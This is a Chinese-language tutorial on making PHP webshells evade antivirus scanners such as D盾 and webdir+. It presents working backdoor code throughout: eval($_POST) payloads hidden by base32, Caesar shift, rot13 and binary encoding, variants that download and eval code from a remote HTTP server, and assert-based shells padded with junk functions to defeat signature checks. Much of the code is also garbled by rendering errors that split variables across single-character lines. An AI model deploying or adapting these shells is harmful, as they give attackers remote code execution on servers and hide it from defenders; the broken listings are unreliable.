一些webshell免杀的技巧
0x00:前言
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。
0x01:自定义加密Bypass
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测
base32编码payload
(https://github.com/pureqh/webshell):
- <?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = ‘abcdefghijklmnopqrstuvwxyz234567’;
$NLHB = ‘’;
$v = 0;
v
b
i
t
s
=
0
;
f
o
r
(
vbits = 0; for (
vbits=0;for(i = 0,
j
=
s
t
r
l
e
n
(
j = strlen(
j=strlen(QSFX); $i < $j; $i++){
$v <<= 8;
v
+
=
o
r
d
(
v += ord(
v+=ord(QSFX[$i]);
v
b
i
t
s
+
=
8
;
w
h
i
l
e
(
vbits += 8; while (
vbits+=8;while(vbits >= 5) {
$vbits -= 5;
$NLHB .=
B
A
S
E
3
2
A
L
P
H
A
B
E
T
[
BASE32_ALPHABET[
BASE32ALPHABET[v >> $vbits];
$v &= ((1 << KaTeX parse error: Expected 'EOF', got '}' at position 13: vbits) - 1);}̲} if (vbits > 0){
$v <<= (5 - $vbits);
$NLHB .=
B
A
S
E
3
2
A
L
P
H
A
B
E
T
[
BASE32_ALPHABET[
BASE32ALPHABET[v];}
return KaTeX parse error: Expected 'EOF', got '}' at position 6: NLHB;}̲ function SYXJ(QSFX){
$NLHB = ‘’;
$v = 0;
v
b
i
t
s
=
0
;
f
o
r
(
vbits = 0; for (
vbits=0;for(i = 0,
j
=
s
t
r
l
e
n
(
j = strlen(
j=strlen(QSFX); $i < $j; $i++){
v
<
<
=
5
;
i
f
(
v <<= 5; if (
v<<=5;if(QSFX[$i] >= ‘a’ &&
Q
S
F
X
[
QSFX[
QSFX[i] <= ‘z’){
v
+
=
(
o
r
d
(
v += (ord(
v+=(ord(QSFX[KaTeX parse error: Expected 'EOF', got '}' at position 18: …) - 97); }̲ elseif (QSFX[$i] >= ‘2’ &&
Q
S
F
X
[
QSFX[
QSFX[i] <= ‘7’) {
$v += (24 +
Q
S
F
X
[
QSFX[
QSFX[i]);
} else {
exit(1);
}
v
b
i
t
s
+
=
5
;
w
h
i
l
e
(
vbits += 5; while (
vbits+=5;while(vbits >= 8){
$vbits -= 8;
N
L
H
B
.
=
c
h
r
(
NLHB .= chr(
NLHB.=chr(v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NLHB;}
?>
ascii码移位payload(凯撒加密)
- <?php
class FKPC{
function __construct(){
$this->TQYV = “bs^i%!\MLPQXwbolZ&8”;
t
h
i
s
−
>
W
Z
D
M
=
@
H
H
G
J
(
this->WZDM = @HHGJ(
this−>WZDM=@HHGJ(this->TQYV);
@eval(“/#jkskjwjqo/”.KaTeX parse error: Expected 'EOF', got '#' at position 17: …his->WZDM."/*sj#̲ahajsj*/"); …UyGv) {
$svfe = [];
$mxAS = ‘’;
$f =
U
y
G
v
;
f
o
r
(
UyGv; for (
UyGv;for(i=0;
i
<
s
t
r
l
e
n
(
i<strlen(
i<strlen(f);$i++)
{
s
v
f
e
[
]
=
c
h
r
(
(
o
r
d
(
svfe[] = chr((ord(
svfe[]=chr((ord(f[$i])+3));
}
m
x
A
S
=
i
m
p
l
o
d
e
(
mxAS = implode(
mxAS=implode(svfe);
return $mxAS ;
}
?>
居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了
Rot13加密payload
- <?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
t
h
i
s
−
>
D
A
X
W
=
′
r
i
n
y
(
this->DAXW = 'riny(
this−>DAXW=′riny(_CBFG[mreb]);';
t
h
i
s
−
>
L
R
X
V
=
@
s
t
r
r
o
t
13
(
this->LRXV = @str_rot13(
this−>LRXV=@strrot13(this->DAXW);
@eval(“/GnSpe=u/”.$this->LRXV.“/GnSpe=u/”);
}}
new KUYE();
?>
二进制转化payload
- <?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = ‘1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011’;
t
h
i
s
−
>
L
R
X
V
=
@
B
i
n
T
o
S
t
r
(
this->LRXV = @BinToStr(
this−>LRXV=@BinToStr(this->DAXW);
@eval(“/GnSpe=u/”.KaTeX parse error: Expected 'EOF', got '}' at position 36: …u*/"); }̲} new KUYE(); f…str){
$arr = explode(’ ',
s
t
r
)
;
f
o
r
e
a
c
h
(
str); foreach(
str);foreach(arr as &$v){
v
=
p
a
c
k
(
"
H
"
.
s
t
r
l
e
n
(
b
a
s
e
c
o
n
v
e
r
t
(
v = pack("H".strlen(base_convert(
v=pack("H".strlen(baseconvert(v, 2, 16)), base_convert($v, 2, 16));
}
return join('', $arr);
}
?>
这里就不列举了 只要方法正确 绕过杀软是很简单的
0x02:通过http获得关键参数
上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过
众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。
- <?php
class FKPC{
function __construct(){
$url = “http://xxxxx:8080/1.txt”;
f
p
=
f
o
p
e
n
(
fp = fopen(
fp=fopen(url, ‘r’);
stream_get_meta_data(
f
p
)
;
w
h
i
l
e
(
!
f
e
o
f
(
fp); while (!feof(
fp);while(!feof(fp)) {
b
o
d
y
.
=
f
g
e
t
s
(
body.= fgets(
body.=fgets(fp, 1024);
}
$this->x = $body;
$this->TQYV = “bs^i%!\MLPQXwbolZ&8”;
t
h
i
s
−
>
W
Z
D
M
=
@
H
H
G
J
(
this->WZDM = @HHGJ(
this−>WZDM=@HHGJ(this->TQYV,KaTeX parse error: Expected 'EOF', got '#' at position 28: … @eval("/*#̲jkskjwjqo*/".this->WZDM.“/sj#ahajsj/”);
}}
new FKPC();
function HHGJ(
U
y
G
v
,
UyGv,
UyGv,x) {
$svfe = [];
$mxAS = ‘’;
$f =
U
y
G
v
;
f
o
r
(
UyGv; for (
UyGv;for(i=0;
i
<
s
t
r
l
e
n
(
i<strlen(
i<strlen(f);$i++)
{
s
v
f
e
[
]
=
c
h
r
(
(
o
r
d
(
svfe[] = chr((ord(
svfe[]=chr((ord(f[
i
]
)
+
i])+
i])+x));
}
m
x
A
S
=
i
m
p
l
o
d
e
(
mxAS = implode(
mxAS=implode(svfe);
return $mxAS ;
}
?>
当然肯定能用
但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …
简化代码:
- <?php
class KUYE{
public $a = ‘yshasaui’;
public $b = ‘’;
function __construct(){
$url = “http://xxx/1.txt”;
f
p
=
f
o
p
e
n
(
fp = fopen(
fp=fopen(url, ‘r’);
stream_get_meta_data(
f
p
)
;
w
h
i
l
e
(
!
f
e
o
f
(
fp); while (!feof(
fp);while(!feof(fp)) {
b
o
d
y
.
=
f
g
e
t
s
(
body.= fgets(
body.=fgets(fp, 1024);
}
$this->b =
b
o
d
y
;
@
e
v
a
l
(
"
/
∗
G
n
S
p
e
=
121
u
∗
/
"
.
body; @eval("/*GnSpe=121u*/".
body;@eval("/∗GnSpe=121u∗/".this->b.“/Gn212Spe=u/”);
}}
new KUYE();
?>
0x03:重写函数Bypass
众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?
试一试就知道了
我们的样本如下:
<?php $a = substr("assertxx",0,6); $a($_POST['x']); ?>这是个使用substr函数切割关键字的小马
直接扔到webdir+杀
毫无疑问的被杀了
那么 我们重写substr函数
- function mysubstr($string, $start = 0, $length = null) {
$result = ‘’;
s t r L e n g t h = s t r l e n ( strLength = strlen( strLength=strlen(string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = s t a r t < 0 ? ( start < 0 ? ( start<0?(strLength + s t a r t ) : ( start) : ( start):(start);
$end = l e n g t h < 0 ? ( length < 0 ? ( length<0?(strLength + $length) : $start + l e n g t h ; i f ( length; if ( length;if(start > s t r L e n g t h ∣ ∣ ( strLength || ( strLength∣∣(end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= s t r i n g [ string[ string[start];
}
return $result;
}
然后把函数替换
- <?php
$b = ‘assert(xyz@’;
c
=
m
y
s
u
b
s
t
r
(
c = mysubstr(
c=mysubstr(b,0,6);
c
(
c(
c(_POST[‘zero’]);
function mysubstr($string, $start = 0, $length = null) {
$result = ‘’;
s
t
r
L
e
n
g
t
h
=
s
t
r
l
e
n
(
strLength = strlen(
strLength=strlen(string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start =
s
t
a
r
t
<
0
?
(
start < 0 ? (
start<0?(strLength +
s
t
a
r
t
)
:
(
start) : (
start):(start);
$end =
l
e
n
g
t
h
<
0
?
(
length < 0 ? (
length<0?(strLength + $length) : $start +
l
e
n
g
t
h
;
i
f
(
length; if (
length;if(start >
s
t
r
L
e
n
g
t
h
∣
∣
(
strLength || (
strLength∣∣(end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .=
s
t
r
i
n
g
[
string[
string[start];
}
return $result;
}
?>
再拿去杀
结论很清楚了
再来D盾杀一下
不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可
- <?php
class pure
{
public $a = ‘’;
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a =
P
O
S
T
[
′
z
e
r
o
′
]
;
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
_POST['zero']; function mysubstr(
POST[′zero′];functionmysubstr(string, $start = 0, $length = null) {
$result = ‘’;
s
t
r
L
e
n
g
t
h
=
s
t
r
l
e
n
(
strLength = strlen(
strLength=strlen(string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start =
s
t
a
r
t
<
0
?
(
start < 0 ? (
start<0?(strLength +
s
t
a
r
t
)
:
(
start) : (
start):(start);
$end =
l
e
n
g
t
h
<
0
?
(
length < 0 ? (
length<0?(strLength + $length) : $start +
l
e
n
g
t
h
;
i
f
(
length; if (
length;if(start >
s
t
r
L
e
n
g
t
h
∣
∣
(
strLength || (
strLength∣∣(end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .=
s
t
r
i
n
g
[
string[
string[start];
}
return $result;
}
?>
看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗
不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下
- <?php
class pure
{
public $a = ‘’;
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST[‘zero’];
?>
怎么样 是不是很有趣
这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。
比如这样:
- <?php
class pure
{
public $a = ‘’;
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a =
P
O
S
T
[
′
z
e
r
o
′
]
;
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
_POST['zero']; function mysubstr(
POST[′zero′];functionmysubstr(a,$b) {
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
echo “?sasasjajksjka”;
}
?>
0x04:写在后面
这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以